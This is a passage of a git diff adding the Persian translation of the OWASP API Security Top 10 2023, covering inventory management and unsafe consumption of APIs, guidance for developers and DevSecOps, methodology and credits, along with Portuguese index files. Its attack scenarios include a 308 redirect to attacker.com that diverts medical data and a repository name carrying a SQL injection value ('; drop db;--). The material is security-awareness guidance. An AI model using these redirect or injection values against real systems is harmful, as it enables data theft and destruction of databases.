بهره می‌برد. این مکانیزم نه به عنوان بخشی از کد API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (در www.socialnetwork.com) ‌پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان API (www.mbasic.beta.socialnetwork.com) می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی دارد با این تفاوت که در آن هیچ مکانیزمی جهت محدودسازی نرخ درخواست تعبیه نشده است؛ در نتیح... + +### سناریو #2 + +توسعه‌دهندگان برنامه‌های مستقل می‌توانند با یک شبکه اجتماعی ادغام شوند. به عنوان بخشی از این فرآیند، اجازه‌نامه‌ای به کاربر نهایی ارائه می‌شود تا شبکه اجتماعی بتواند اطلاعات شخصی کاربران را با برنامه مستقل به اشتراک بگذارد. جریان داده بین شبکه اجتماعی و برنامه‌های مستقل، محدود نیست و نظارت کافی بر آن نمی‌شود. درنتیجه برنامه‌های مستقل به جز اطلاعات کاربر، به اطلاعات خصوصی تمام دوستان آن‌ها دسترسی پیدا می‌کنند. یک شرکت مشاوره، برنامه مخربی ایجاد کرده و توانسته از 270،000 کاربر اجازه‌ دسترسی به اطلاعاتشان ر... + +## چگونه از ‌آسیب‌پذیری مدیریت نادرست دارایی‌ها پیشگیری کنیم؟ + +- فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بر محیط API (محیط تست، توسعه، اجرا یا عملیات)، افراد مجاز به دسترسی شبکه‌ای به میزبان (همه، افراد دخیل یا شرکا) و نسخه API مستند شود. +- فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود. +- تمامی جنبه‌های API نظیر نحوه احراز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، خط مشی‌های اشتراک گذاری متقابل منابع (CORS) و نقاط پایانی یا توابع انتهایی (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند. +- با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بطور خودکار انجام شده و این فرایند در CI/CD Pipeline تعبیه گردد. +- مستندات API در اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد. +- از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های در معرض دید API (نه فقط نسخه فعلی) استفاده گردد. +- از استفاده همزمان نسخه‌های عملیاتی شده و عملیاتی نشده API اجتناب شود. اگر این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد. +- هنگامی که در نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز صورت پذیرد تا بتوان تصمیمات لازم در خصوص اقدامات جبرانی برای رفع مشکلات امنیتی نسخه‌های قدیمی‌تر را اتخاذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری API بهبودهای امنیتی را در نسخه‌های قدیمی نیز وارد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سرعت از دسترس خارج شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟ + +## مراجع + +### خارجی + +- [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md b/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..1c113caf6 --- /dev/null +++ b/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,82 @@ +# API10:2023 استفاده ناایمن از APIها + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار +| برای بهره‌برداری از این آسیب‌پذیری مهاجم باید APIها یا خدمات دیگری که با آنها ادغام شده را شناسایی کرده و به آنها نفوذ کند. این اطلاعات به صورت عمومی در دسترس نبوده یا API سرویس‌های آن به آسانی قابل بهره‌برداری نیستند. | توسعه‌دهندگان معمولا به endpointهای APIهای خارجی یا طرف ثالثی که در ارتباط هستند، اعتماد می‌کنند. آنها این تصور را دارند که الزامات امنیتی ضعیف‌تری مانند امنیت در انتقال اطلاعات، احراز هویت و دسترسی و اعتبارسنجی و تصفیه اطلاعات ورودی، امنیت کافی برای این نقاط را تامین می‌کند. مهاجمان باید خدماتی را که API هدف با آنها ادغام می‌شود (منابع داده) شناسایی کرده و سعی کنند که آنها را مختل کرده یا به صورت غیرمجاز به آنها دسترسی پیدا کنند. | پیامد این وضعیت به نحوه استفاده از داده‌های بهره‌برداری شده بستگی دارد. بهره‌برداری موفق از این آسیب‌پذیری ممکن است منجر به افشای اطلاعات حساس به اشخاص غیرمجاز شود. انواع مختلف حملاتی که در نتیجه بهره‌برداری از این آسیب‌پذیری ممکن است رخ دهد مانند حملات تزریق‌ها یا DoD خواهد بود. | + +## آیا API از نظر استفاده ناایمن از APIها ‌آسیب‌پذیر است؟ + +توسعه‌دهندگان معمولاً به داده‌های دریافتی از API‌های طرف ثالث بیشتر از ورودی‌های کاربران اعتماد می‌کنند. این موضوع برای API‌های ارائه شده توسط شرکت‌های معروف بیشتر صدق می‌کند. به همین دلیل، توسعه‌دهندگان عمدتاً استانداردهای امنیتی ضعیف‌تری را در بسیاری از موارد از جمله اعتبارسنجی و تصفیه ورودی اتخاذ می‌کنند. + +API‌ها ممکن است در معرض آسیب‌پذیری باشند اگر: + +- با سایر API ها از طریق یک کانال بدون رمزگذاری ارتباط برقرار کنند. +- داده‌های جمع‌آوری شده از دیگر API ها را قبل از پردازش یا ارسال به اجزای پایین‌دست به درستی اعتبارسنجی و تصفیه نکنند. +- محدودیتی در پاسخ‌دهی به درخواست‌های پی‌در‌پی نداشته باشند. +- تعداد منابع مورد نیاز برای پردازش پاسخ‌های سرویس‌های طرف ثالث را محدود نکنند. +- بازه زمانی محدود برای ارتباط با سرویس‌های طرف ثالث مشخص نکنند. + +## مثال‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در این سناریو، یک API از آدرس‌های کسب و کار یک سرویس طرف ثالث استفاده می‌کند. وقتی یک کاربر آدرسی را به API ارائه می‌دهد، آن آدرس به سرویس طرف ثالث ارسال شده و اطلاعات بازگشتی در یک پایگاه داده محلی SQL ذخیره می‌شود. اشخاص با نیت مخرب، از سرویس طرف ثالث برای ذخیره کردن کدهای تزریقSQL (SQLi) استفاده می‌کنند. سپس با بکارگیری API آسیب‌پذیر و درج ورودی‌های خاص، می‌تواند اطلاعات مرتبط با کسب و کار آلوده شده را از سرویس طرف ثالث دریافت کند. در نهایت، کدهای تزریق شده SQL از طریق پایگاه داده اجرا شده و توسط مهاجم به سرور کنترلی ارسال می‌شوند. این کار سبب می‌شود تا مهاجم به طور غیرمجاز اطلاعات را از دیتابیس بازیابی کرده و بر روی سرور خود کنترل کند. + +### سناریو #2 + +یک API با یک ارائه‌دهنده خدمات طرف ثالث ادغام می‌شود تا اطلاعات حساس پزشکی کاربران را به شکلی ایمن ذخیره کند. داده‌ها با استفاده از یک درخواست HTTP از طریق برقراری یک اتصال امن، ارسال می‌شوند: + +```http +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +مهاجمین با نیت مخرب، باعث می‌شوند که این سرویس به جای پاسخ معمولی به درخواست‌ها، پاسخ‌هایی با کد 308 Permanent Redirect ارسال کند. کد 308 به معنای انتقال دائمی است که سبب می‌شود سرویس درخواست‌های کاربران را به مکان دیگری منتقل کند. + +```http +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +در نتیجه، اطلاعات حساس کاربران به جای ارسال به سرویس طرف ثالث، به سروری تحت کنترل مهاجم، ارسال می‌شود. + +### سناریو #3 + +مهاجمی یک مخزن Git با نام `'; drop db;--` ایجاد می‌کند. وقتی اتصالی از برنامه تحت حمله با مخزن مخرب برقرار شود، برنامه نام مخزن را به عنوان یک ورودی امن در نظر می‌گیرد. + +## چگونه از ‌آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟ +--- +- **ارزیابی ارائه‌دهندگان خدمات**: هنگام انتخاب ارائه‌دهندگان خدمات طرف ثالث، امنیت API آنها را به دقت ارزیابی کرده و آن‌هایی را انتخاب کنید که دارای سابقه قوی در زمینه امنیت و حفاظت از داده‌ها هستند. +- **ارتباط امن**: اطمینان حاصل کنید که تمام تعاملات با API‌ها از طریق یک کانال ارتباطی امن (TLS) صورت می‌گیرد. این کار باعث می‌شود که داده‌ها در زمان انتقال رمز شده و از دسترسی مهاجمان به آن‌ها جلوگیری شود. +- **اعتبارسنجی و تصفیه داده**: همیشه داده‌های دریافتی از API‌ها را اعتبارسنجی و تصفیه کنید. این عمل از حملات مرتبط با تزریق اطلاعات جلوگیری می‌کند. +- **نگهداری لیست مجاز (Allowlist)**: یک لیست مجاز از مکان‌های شناخته‌شده‌ای که API‌ها ممکن است به آنها هدایت شوند را نگهداری کرده و از دنبال کردن مسیرهای دارای مقصد ناشناخته خودداری کنید. + +## مراجع + +### OWASP + +- [Web Service Security Cheat Sheet][1] +- [Injection Flaws][2] +- [Input Validation Cheat Sheet][3] +- [Injection Prevention Cheat Sheet][4] +- [Transport Layer Protection Cheat Sheet][5] +- [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### خارجی + +- [CWE-20: Improper Input Validation][7] +- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +- [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/fa/0xb0-next-devs.md b/editions/2023/fa/0xb0-next-devs.md new file mode 100644 index 000000000..c438f5a14 --- /dev/null +++ b/editions/2023/fa/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# گام بعدی برای توسعه‌دهندگان + +وظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا تعمیر نرم افزارهای موجود می‌تواند دشوار باشد و APIها نیز از قضیه مستثنی نیستند. + +بر این باوریم که آموزش و آگاه سازی، گامی کلیدی در راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر در راستای نیل به هدف فوق به **ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی دارد.** + +OWASP منابع آزاد و رایگان متعددی برای پاسخ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌‌های دردسترس، [صفحه پروژه‌‌های OWASP][1] را ملاحظه نمایید. + +| | | +|-|-| +| **آموزش** | [Application Security Wayfinder][2] باید به شما دیدگاه خوبی در مورد پروژه‌هایی که در هر مرحله/فاز از چرخه عمر توسعه نرم‌افزار (SDLC) در دسترس هستند، بدهد. برای یادگیری و آموزش عملی، می‌توانید با [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] یا [OWASP Juice Shop][4] شروع کنید: هر دو عمداً دارای APIهای آسیب‌پذیر هستند. پروژه [OWASP Vulnerable Web Applications Directory Project][5] فهرستی گزینش‌شده از برنامه‌های کاربردی عمداً آسیب‌پذیر را ارائه می‌دهد که می‌توانید در آنجا چندین API آسیب‌پذیر دیگر نیز پیدا کنید. همچنین می‌توانید در جلسات آموزشی [کنفرانس OWASP AppSec][6] شرکت کنید، یا [به شعبه محلی خود بپیوندید][7]. | +| **الزامات امنیتی** | امنیت باید بعنوان بخشی تفکیک ناپذیر در تمامی پروژه‌‌ها از ابتدا درنظر گرفته شود. در هنگام استخراج الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از [استاندارد امنیت سنجی اپلیکیشن (ASVS)][8] را بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. در صورت برون سپاری نیز، استفاده از [ضمیمه قرارداد نرم افزار ایمن OWASP][9] (که بایستی با قوانین و رگولاتوری‌‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد. | +| **معماری امنیتی** | امنیت بایستی در تمامی مراحل توسعه پروژه‌‌ها اهمیت داشته باشد. [برگه‌‌های راهنمای پیشگیری OWASP][10] نقطه شروع مناسبی برای چگونگی طراحی ایمن در خلال فاز طراحی معماری به شمار آید. همچنین [برگه راهنمای امنیت REST][11] و [برگه راهنمای ارزیابی REST][12] و همچنین [GraphQL Cheat Sheet][13] نیز گزینه‌‌های مناسبی در این راستا هستند. | +| **کنترل‌‌های امنیتی استاندارد** | بکارگیری و انطباق با کنترل‌‌های امنیتی استاندارد ریسک ایجاد ضعف‌‌های امنیتی در خلال ایجاد برنامه‌‌ها با منطق سازمانی را کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توکار و موثر امنیتی توزیع می‌شوند، اما [کنترل‌‌های پیشگیرانه و فعال OWASP][14] دید خوبی از کنترل‌‌هایی که باید در پروژه‌‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله در حوزه کنترل‌‌های اعتبارسنجی در اختیار عموم قرار می‌دهد که می‌توانند مفید باشند. | +| **چرخه حیات توسعه نرم افزار ایمن** | به منظور بهبود فرایندها در هنگام ایجاد و ساخت APIها می‌توان از [مدل ضمانت کمال نرم افزار OWASP (SAMM)][15] بهره برد. همچنین پروژه‌‌های متعدد دیگری نیز در OWASP وجود دارند که می‌توانند در فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، [پروژه بازبینی کد OWASP][16] را نام برد. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/fa/0xb1-next-devsecops.md b/editions/2023/fa/0xb1-next-devsecops.md new file mode 100644 index 000000000..fc1856695 --- /dev/null +++ b/editions/2023/fa/0xb1-next-devsecops.md @@ -0,0 +1,21 @@ +# گام بعدی برای DevSecOps + +با توجه به اهمیت APIها در معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت را نمی‌توان نادیده گرفت و باید آن را جزئی از کل چرخه توسعه اپلیکیشن در نظر گرفت. انجام اسکن و تست‌ نفوذ، آن هم به صورت سالیانه به هیچ عنوان کافی نمی‌باشد. + +باید به فرایند توسعه DevSecOps افزوده شده و در تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم را تسهیل کند. هدف آنها بهره‌گیری از خودکارسازی‌ فرایندهای امنیتی در جهت بهبود فرایند تولید نرم افزار بوده به شکلی که تاثیری بر سرعت توسعه نداشته باشد. اگر شک دارید، [مانیفست DevSecOps][1] را بررسی کنید تا در جریان باشید. + +| | | +|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| درک مدل تهدیدات | اولویت‌ تست‌ها از مدل تهدیدات بدست می‌آید. اگر شما مدل تهدیدات ندارید می‌توانید از [OWASP Application Security Verification Standard (ASVS)][2] و [OWASP Testing Guide][3] به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باعث شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند. | +| درک چرخه توسعه نرم افزار | تیم توسعه را به فرایند اضافه کنید تا آنها نیز درک بهتری از چرخه توسعه نرم افزار پیدا کنند. مشارکت شما در انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایند‌ها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اصطکاک و مقاومتی وجود نداشته باشد. | +| راهبرد انجام تست | با توجه به اینکه کار شما نباید تاثیری بر سرعت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین)‌ را برای تایید الزامات امنیتی انتخاب کنید. [OWASP Security Knowledge Framework][4] و [OWASP Application Security Verification Standard][2] می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع خوب دیگری از [پروژه‌ها][5] و [ابزارها][6] مشابه با مواردی که توسط [DevSecOps community][7] پیشنهاد می‌شود، وجود دارد. | +| دستیابی به جامعیت و دقت | شما پلی هستید بین تیم‌ توسعه دهنده و ‌‌‌پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بر روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به صورت نزدیک با هر دو تیم توسعه و ‌‌‌پیاده‌سازی کار کنید تا بتوانید زمان و تلاش‌تان را بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به صورت مداوم بررسی شوند، هدف گذاری کنید. | +| به وضوح یافته‌‌‌ها را به اشتراک بگذارید | با کمترین اصطکاک یا بدون اصطکاک مشارکت داشته باشید. یافته‌‌ها را در بازه زمانی مشخص و در قالب ابزارهای مورد استفاده توسط تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها را به آن‌ها نشان دهید. از این فرصت برای آموزش آنها استفاده کنید، به صورت شفاف در مورد نقطه ضعف و روش‌های سوء استفاده از آن (که شامل سناریو‌های حملات می‌باشند) توضیح دهید تا واقعی به نظر برسد. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: https://www.devsecops.org/ diff --git a/editions/2023/fa/0xd0-about-data.md b/editions/2023/fa/0xd0-about-data.md new file mode 100644 index 000000000..f416c096a --- /dev/null +++ b/editions/2023/fa/0xd0-about-data.md @@ -0,0 +1,25 @@ +# متدلوژی و داده + +## بررسی اجمالی +در تهیه این فهرست، تیم امنیت OWASP API از روش مشابهی که برای ایجاد لیست مشهور و پرطرفدار سال 2019 با موفقیت به کار رفته بود، استفاده کرده است. این روش شامل بررسی امنیت API ها و شناسایی مشکلات امنیتی آنها می‌باشد. علاوه بر روش اصلی، [فراخوانی عمومی][1] به مدت سه ماه برای جمع‌آوری داده‌ هم اعلام شد. متأسفانه، داده‌های به دست آمده از فراخوان، امکان تجزیه و تحلیل معتبر آماری از مشکلات امنیتی رایج در APIها را نداشتند. با این حال، فرآیند به‌روزرسانی با استفاده از همان روش متداول ادامه یافت. +امیدواریم به‌روزرسانی فعلی، که یک سند آگاهی‌دهنده و متمرکز بر مسائل مربوط به APIهای مدرن است برای استفاده تا سه الی چهار سال آینده مناسب باشد. هدف اصلی این پروژه این ارائه جایگزینی برای top 10 API نبوده و تمرکز آن بر مسائل مرتبط با امنیت API و ریسک‌های آینده در این زمینه است و به عنوان یک ابزار آموزشی و آگاهی‌دهنده عمل می‌کند تا صنعت به بهترین نحو ممکن از این موارد آگاه شده و اقدامات لازم را برای حفاظت از امنیت اطلاعات صورت پذیرد. + +## متدلوژی +در فاز اول، داده‌‌های در دسترس عموم در حوزه رخداد‌‌های مرتبط با امنیت API توسط گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند. این داده‌‌ها از پلتفرم‌‌های شکار باگ و پایگاه‌‌های داده به منظور تحلیل آماری جمع آوری شده اند. این داده‌ها در بازه زمانی بین 2019 تا 2022 گزارش شده بودند و هدف از این جمع‌آوری آن‌ها، تکامل لیست 10 API پیشین برای سال‌های آینده و کمک به مدیریت داده‌های ارائه شده توسط افراد مختلف بود. به این ترتیب، تیم امنیت OWASP API توانست از تجربیات و داده‌های موجود به‌ شکل معقولی در تدوین لیست جدید امنیتی از مشکلات API استفاده کند. + + [فراخوانی عمومی][1] از سپتامبر تا آخر نوامبر 2022، برای جمع‌آوری داده آغاز شد که هم‌زمان با آن، تیم پروژه به بررسی تغییراتی که از سال 2019 به وقوع پیوسته بود، پرداخت. این بررسی شامل ارزیابی تأثیر لیست امنیتی اول، بازخوردهای دریافتی از جامعه و مشاهده تغییرات و روندهای جدید در حوزه امنیت API بود. با انجام این فراخوان، داده‌ها و بازخوردهای تازه‌ای از افراد مختلف و جامعه امنیتی جمع‌آوری شد تا تیم پروژه با آگاهی از تغییرات اخیر در امنیت API، آن‌ها را در لیست جدید مسائل امنیتی مد نظر قرار دهد. +این تلاش منجر به تهیه نسخه اولیه‌ای از ده ریسک‌ بحرانی امنیتی API شد. [روش ارزیابی ریسک OWASP][2] در تجزیه و تحلیل داده‌ها و ارائه نسخه اولیه مورد استفاده قرار گرفت. امتیازات میزان شیوع براساس توافق میان اعضای تیم پروژه و براساس تجربه‌ آن‌ها در این حوزه تعیین شدند. برای اطلاعات بیشتر در این خصوص، به بخش مرتبط با [ریسک‌های امنیتی API][3] مراجعه فرمایید. +نسخه اولیه تهیه شده، با افراد متخصص در زمینه امنیت API به اشتراک گذاشته شد. نظرات ارائه‌شده، بررسی، بحث و در صورت نیاز به سند اضافه شدند. سند نهایی به عنوان [نسخه نهایی برای بحث عمومی][4] منتشر شد تا [مورد بحث][5] قرار گیرد و تعدادی از [نظرات و مشارکت‌های][6] ارائه‌شده از جامعه به سند نهایی اضافه گردید. در نهایت، با همکاری افراد متخصص و جامعه لیست نهایی مشکلات امنیتی API تدوین گردید. +لیست مشارکت کنندگان در بخش [سپاسگزاری ها][7] قابل مشاهده است. + +## ریسک‌های مختص API + +لیست حاضر، به منظور پرداختن به مخاطرات امنیتی API‌ها ایجاد شده و از آن برای برطرف کردن چالش‌های امنیتی خاص API‌ها استفاده می‌شود. این لیست به تهدیدات عمومی امنیتی که در تمام برنامه‌های کاربردی وب و نرم‌افزارها وجود دارند، توجهی نمی‌کند و هدف اصلی آن، افزایش آگاهی از تهدیدات در زمینه API‌ها و راهکارهای مورد نیاز آن‌هاست. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fa/0xd1-acknowledgments.md b/editions/2023/fa/0xd1-acknowledgments.md new file mode 100644 index 000000000..372420d78 --- /dev/null +++ b/editions/2023/fa/0xd1-acknowledgments.md @@ -0,0 +1,53 @@ +# ACK سپاسگزاری‌ها + +## سپاسگزاری از مشارکت کنندگان +بدینوسیله از تمامی مشارکت کنندگانی که به طور عمومی در GitHub و به سایر طرق در توسعه این مستند نقش داشته‌اند تشکر می‌نماییم: + +- abunuwas +- Alissa Knight +- Arik Atar +- aymenfurter +- Corey J. Ball +- cyn8 d0znpp +- Dan Gordon +- donge +- Dor Tumarkin +- faizzaidi +- gavjl +- guybensimhon +- Inês Martins +- Isabelle Mauny +- Ivan Novikov +- jmanico +- Juan Pablo +- k7jto +- LaurentCB +- llegaz +- Maxim Zavodchik +- MrPRogers +- planetlevel +- rahulk22 +- Roey Eliyahu +- Roshan Piyush +- securitylevelup +- sudeshgadewar123 +- Tatsuya-hasegawa +- tebbers +- vanderaj +- wenz +- xplo1t-sec +- Yaniv Balmas +- Ynvb +- Alireza Mostame +- Maryam Javadi Hoseini +- Mohammad Reza Ismaeli Taba + +### ترجمه فارسی (Farsi Translation) +این ترجمه با حمایت شرکت راسپینا نت پارس تهیه شده است. استاندارد OWASP Security API Top 10 می‌تواند به عنوان مرجع راهنما در توسعه ایمن API و همچنین مرجع بررسی در فرایند آزمون نفوذ پذیری مورد استفاده قرار گیرد. + +### مترجمین (Translators) +- محمد رضا اسمعیلی طبا (Mohammad Reza Ismaeli Taba) +- مریم جوادی حسینی (Maryam Javadi Hoseini) + +### ویراستار (Editor) +- علیرضا مستمع (Alireza Mostame) diff --git a/editions/2023/fa/images/cover.jpg b/editions/2023/fa/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/fa/images/cover.jpg differ diff --git a/editions/2023/fa/images/front-cc.png b/editions/2023/fa/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/fa/images/front-cc.png differ diff --git a/editions/2023/fa/images/front-wasp.png b/editions/2023/fa/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/fa/images/front-wasp.png differ diff --git a/editions/2023/fa/images/license.png b/editions/2023/fa/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/fa/images/license.png differ diff --git a/editions/2023/fa/images/owasp-logo.png b/editions/2023/fa/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/fa/images/owasp-logo.png differ diff --git a/editions/2023/id/0xa2-broken-authentication.md b/editions/2023/id/0xa2-broken-authentication.md index de8bf6790..ceb2bb58b 100644 --- a/editions/2023/id/0xa2-broken-authentication.md +++ b/editions/2023/id/0xa2-broken-authentication.md @@ -1,6 +1,3 @@ - - - # API2:2023 Autentikasi yang Rusak | Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index e4f73e3d6..c8126cb85 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -3,9 +3,13 @@ docs_dir: . extra: alternate: - - name: Bahasa (Indonesian) + - name: Bahasa (Indonesian) lang: id - name: English lang: en - name: Français lang: fr + - name: Persian + lang: fa + - name: Português (Portugal) + lang: pt-pt diff --git a/editions/2023/pt-pt/0x00-header.md b/editions/2023/pt-pt/0x00-header.md new file mode 100644 index 000000000..2b26af67e --- /dev/null +++ b/editions/2023/pt-pt/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/pt-pt/0x00-notice.md b/editions/2023/pt-pt/0x00-notice.md new file mode 100644 index 000000000..70f915752 --- /dev/null +++ b/editions/2023/pt-pt/0x00-notice.md @@ -0,0 +1,14 @@ +# Nota + +Esta é a versão de texto do OWASP API Security Top 10, usada como fonte para +quaisquer versões oficiais deste documento como por exemplo o website. + +Contribuições para o projeto tais como comentários, correções ou traduções devem +ser feitas aqui. Para mais detalhes sobre [Como Contribuir][1], por favor +consulte a secção [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/pt-pt/0x00-toc.md b/editions/2023/pt-pt/0x00-toc.md new file mode 100644 index 000000000..0805d5232 --- /dev/null +++ b/editions/2023/pt-pt/0x00-toc.md @@ -0,0 +1,23 @@ +# Tabela de Conteúdos + +* [Tabela de Conteúdos](0x00-toc.md) +* [Sobre a OWASP](0x01-about-owasp.md) +* [Prefácio](0x02-foreword.md) +* [Introdução](0x03-introduction.md) +* [Notas da Versão](0x04-release-notes.md) +* [Riscos de Segurança em APIs](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of 